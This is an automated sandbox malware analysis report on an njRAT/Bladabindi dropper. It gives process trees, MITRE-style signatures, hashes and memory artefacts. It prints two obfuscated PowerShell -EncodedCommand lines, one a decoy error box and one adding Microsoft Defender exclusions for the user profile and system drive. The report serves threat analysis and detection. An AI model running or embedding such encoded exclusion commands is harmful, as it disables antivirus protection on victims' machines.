Malware Analysis Report

2025-01-22 13:50

Sample ID 240907-ln4xlaxgla
Target filetest.exe
SHA256 ed307213c0e62af8477e9ca939b045da7498c21d7c717011a78b3b2de8dfec3a
Tags
njrat hacked defense_evasion discovery trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

ed307213c0e62af8477e9ca939b045da7498c21d7c717011a78b3b2de8dfec3a

Threat Level: Known bad

The file filetest.exe was found to be: Known bad.

Malicious Activity Summary

njrat hacked defense_evasion discovery trojan

njRAT/Bladabindi

Executes dropped EXE

Checks computer location settings

Obfuscated Files or Information: Command Obfuscation

Enumerates physical storage devices

Unsigned PE

System Location Discovery: System Language Discovery

Suspicious use of AdjustPrivilegeToken

Suspicious behavior: GetForegroundWindowSpam

Modifies registry class

Suspicious use of WriteProcessMemory

Suspicious behavior: EnumeratesProcesses

Suspicious behavior: AddClipboardFormatListener

Suspicious use of SetWindowsHookEx

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-09-07 09:41

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-09-07 09:41

Reported

2024-09-07 09:44

Platform

win7-20240704-en

Max time kernel

127s

Max time network

119s

Command Line

"C:\Users\Admin\AppData\Local\Temp\filetest.exe"

Signatures

njRAT/Bladabindi

trojan njrat

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\Server.exe N/A

Obfuscated Files or Information: Command Obfuscation

defense_evasion

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000_Classes\Local Settings C:\Windows\system32\rundll32.exe N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\Server.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious behavior: GetForegroundWindowSpam

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe N/A
N/A N/A C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2520 wrote to memory of 2236 N/A C:\Users\Admin\AppData\Local\Temp\filetest.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2520 wrote to memory of 2236 N/A C:\Users\Admin\AppData\Local\Temp\filetest.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2520 wrote to memory of 2236 N/A C:\Users\Admin\AppData\Local\Temp\filetest.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2520 wrote to memory of 2952 N/A C:\Users\Admin\AppData\Local\Temp\filetest.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2520 wrote to memory of 2952 N/A C:\Users\Admin\AppData\Local\Temp\filetest.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2520 wrote to memory of 2952 N/A C:\Users\Admin\AppData\Local\Temp\filetest.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2520 wrote to memory of 2904 N/A C:\Users\Admin\AppData\Local\Temp\filetest.exe C:\Users\Admin\AppData\Local\Temp\Server.exe
PID 2520 wrote to memory of 2904 N/A C:\Users\Admin\AppData\Local\Temp\filetest.exe C:\Users\Admin\AppData\Local\Temp\Server.exe
PID 2520 wrote to memory of 2904 N/A C:\Users\Admin\AppData\Local\Temp\filetest.exe C:\Users\Admin\AppData\Local\Temp\Server.exe
PID 2904 wrote to memory of 2364 N/A C:\Users\Admin\AppData\Local\Temp\Server.exe C:\Windows\system32\rundll32.exe
PID 2904 wrote to memory of 2364 N/A C:\Users\Admin\AppData\Local\Temp\Server.exe C:\Windows\system32\rundll32.exe
PID 2904 wrote to memory of 2364 N/A C:\Users\Admin\AppData\Local\Temp\Server.exe C:\Windows\system32\rundll32.exe
PID 2364 wrote to memory of 3032 N/A C:\Windows\system32\rundll32.exe C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe
PID 2364 wrote to memory of 3032 N/A C:\Windows\system32\rundll32.exe C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe
PID 2364 wrote to memory of 3032 N/A C:\Windows\system32\rundll32.exe C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe
PID 2364 wrote to memory of 3032 N/A C:\Windows\system32\rundll32.exe C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe

Processes

C:\Users\Admin\AppData\Local\Temp\filetest.exe

"C:\Users\Admin\AppData\Local\Temp\filetest.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGMAZwBzACMAPgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAHEAZgB1ACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcARABvAHcAbgBsAG8AYQBkACAARQByAHIAbwByACEAJwAsACcAJwAsACcATwBLACcALAAnAEUAcgByAG8AcgAnACkAPAAjAHkAawBnACMAPgA="

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGQAcwBsACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHEAegBkACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGMAagB4ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAdABkACMAPgA="

C:\Users\Admin\AppData\Local\Temp\Server.exe

"C:\Users\Admin\AppData\Local\Temp\Server.exe"

C:\Windows\system32\rundll32.exe

"C:\Windows\system32\rundll32.exe" C:\Windows\system32\shell32.dll,OpenAs_RunDLL C:\Users\Admin\AppData\Local\Temp\nudes

C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe

"C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Local\Temp\nudes"

Network

N/A

Files

memory/2520-0-0x000007FEF66B3000-0x000007FEF66B4000-memory.dmp

memory/2520-1-0x0000000001330000-0x000000000133E000-memory.dmp

memory/2520-2-0x000007FEF66B0000-0x000007FEF709C000-memory.dmp

memory/2236-7-0x0000000002C50000-0x0000000002CD0000-memory.dmp

memory/2236-8-0x000000001B5B0000-0x000000001B892000-memory.dmp

memory/2236-9-0x0000000002310000-0x0000000002318000-memory.dmp

memory/2520-10-0x000007FEF66B3000-0x000007FEF66B4000-memory.dmp

memory/2520-11-0x000007FEF66B0000-0x000007FEF709C000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\Server.exe

MD5 fa9439d61c3c28bb92a75095cf39d6bc
SHA1 a959b37a215b1417e72fb7df722e9cecd8f29629
SHA256 5f135cd0ac161e5ec8e90598e5ad2f1db3981a597a3c0f1cbd4aac54189c62a8
SHA512 49703b19e66daa3932dc7074b99ef6859005b45f99b7cd84d3681291cf006b4526ca7561bbfeb6c1527fa7ab57d9164eaaf331af3308416b23ac6e5cc59c7fa2

memory/2904-21-0x0000000001210000-0x000000000121C000-memory.dmp

memory/2952-26-0x000000001B760000-0x000000001BA42000-memory.dmp

memory/2952-27-0x0000000002240000-0x0000000002248000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\TW6BBWYVVWVEQU7L1D0B.temp

MD5 763986d7c34b0b12685664ac8ee4f4cf
SHA1 bb33f72e56f6d14beb1e5a2568e4e2df77db7f83
SHA256 6d9c340e50e58b99a04e99336b88db624cb09db0664c83b05c1f843ec5fcca7e
SHA512 f1cfe1b21af1d4d12b2783d200a7eaf5d37b8d8c46284a78b7831d7ca39a9e2d507d2b95caec6b619e6b6b1e0e371ab8676fe4c7b4843b005286c183202438cb

\??\PIPE\srvsvc

MD5 d41d8cd98f00b204e9800998ecf8427e
SHA1 da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512 cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

MD5 77467a5990550fc46995aaac4e361b8c
SHA1 5ec6066437641c49c74ed1fcf617d7396c2658a4
SHA256 9f2cdcc7aa85bb6209751c810b72f006ec74b9e22bac8f6c90b311483fdb299f
SHA512 cd9d90a97c3df8759e8a20d370b0ea91575961928741e327c4218e9a5d71516c76517d9e19a489de54281d46e080d93b8527abe2215e59d7ea18830cd10577f6

memory/2520-28-0x000007FEF66B0000-0x000007FEF709C000-memory.dmp

C:\Users\Admin\AppData\Roaming\Adobe\Acrobat\9.0\SharedDataEvents

MD5 53593a7d36462d7f4ac82617786e464d
SHA1 782f644d2af4080b7afe9309c23c764ea32b5fd9
SHA256 c60e22047fd7c6b885a8f90990efd72f82bb5860ee53d46e982806854f7e8db4
SHA512 7d447dc67c290e7667bc6bac9559c9212185c4117e8539737f667f6d95f41b3ed999e2779289cc1163e2bc600371a5d4be3368a09ee3c2c8593af8a70cc5b6f8

Analysis: behavioral2

Detonation Overview

Submitted

2024-09-07 09:41

Reported

2024-09-07 09:42

Platform

win10v2004-20240802-en

Max time kernel

31s

Max time network

42s

Command Line

"C:\Users\Admin\AppData\Local\Temp\filetest.exe"

Signatures

njRAT/Bladabindi

trojan njrat

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\filetest.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\Server.exe N/A

Obfuscated Files or Information: Command Obfuscation

defense_evasion

Enumerates physical storage devices

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings C:\Users\Admin\AppData\Local\Temp\Server.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings C:\Windows\system32\OpenWith.exe N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\Server.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Windows\system32\OpenWith.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\filetest.exe

"C:\Users\Admin\AppData\Local\Temp\filetest.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGMAZwBzACMAPgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAHEAZgB1ACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcARABvAHcAbgBsAG8AYQBkACAARQByAHIAbwByACEAJwAsACcAJwAsACcATwBLACcALAAnAEUAcgByAG8AcgAnACkAPAAjAHkAawBnACMAPgA="

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGQAcwBsACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHEAegBkACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGMAagB4ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGwAdABkACMAPgA="

C:\Users\Admin\AppData\Local\Temp\Server.exe

"C:\Users\Admin\AppData\Local\Temp\Server.exe"

C:\Windows\system32\OpenWith.exe

C:\Windows\system32\OpenWith.exe -Embedding

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 28.118.140.52.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 20.160.190.20.in-addr.arpa udp
US 8.8.8.8:53 217.106.137.52.in-addr.arpa udp
US 8.8.8.8:53 13.86.106.20.in-addr.arpa udp

Files

memory/4088-0-0x00007FFABBF33000-0x00007FFABBF35000-memory.dmp

memory/4088-1-0x0000000000A30000-0x0000000000A3E000-memory.dmp

memory/4088-2-0x00007FFABBF30000-0x00007FFABC9F1000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ltbkmllu.uff.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/4736-4-0x000002BC78DA0000-0x000002BC78DC2000-memory.dmp

memory/4736-14-0x00007FFABBF30000-0x00007FFABC9F1000-memory.dmp

memory/4736-13-0x00007FFABBF30000-0x00007FFABC9F1000-memory.dmp

memory/4736-15-0x00007FFABBF30000-0x00007FFABC9F1000-memory.dmp

memory/4736-18-0x00007FFABBF30000-0x00007FFABC9F1000-memory.dmp

memory/4088-19-0x00007FFABBF33000-0x00007FFABBF35000-memory.dmp

memory/4088-20-0x00007FFABBF30000-0x00007FFABC9F1000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\Server.exe

MD5 fa9439d61c3c28bb92a75095cf39d6bc
SHA1 a959b37a215b1417e72fb7df722e9cecd8f29629
SHA256 5f135cd0ac161e5ec8e90598e5ad2f1db3981a597a3c0f1cbd4aac54189c62a8
SHA512 49703b19e66daa3932dc7074b99ef6859005b45f99b7cd84d3681291cf006b4526ca7561bbfeb6c1527fa7ab57d9164eaaf331af3308416b23ac6e5cc59c7fa2

memory/3156-33-0x0000000000010000-0x000000000001C000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 614f88cf39eb3223246afec4bf1463b4
SHA1 74d738ee6fdada75ac1ef1645073005e3f6b6cfb
SHA256 021636a793f57f23b16356c5b84fdf0122fdcadfaba305e4df4654bfbfa442bd
SHA512 84a7151e0471e659699a15c25d9063af1975e79bb5f23de6b3bc0d3b96cd161d70ad35f6acdbc8123b38bac9918df8b202bd6f1f4ca8061919074973e6063a77

memory/4088-44-0x00007FFABBF30000-0x00007FFABC9F1000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 ce9d038b7edfad3407ea4995f6851d26
SHA1 41e084dd17e6dcb3fa0c845444f636fdbe7a3cfb
SHA256 b38b6828021e0a62effbd71d1dfb70c2523b0f6fafad9470ac7d6e3e0b7fc382
SHA512 1b8bb3311c0c5f62ca096893efe901e6e757ee3be310d030b0666b5be4c7f1d704788e8cad12cb789aedaf2bc587565483abd351fa0cbedd72af55f319a37897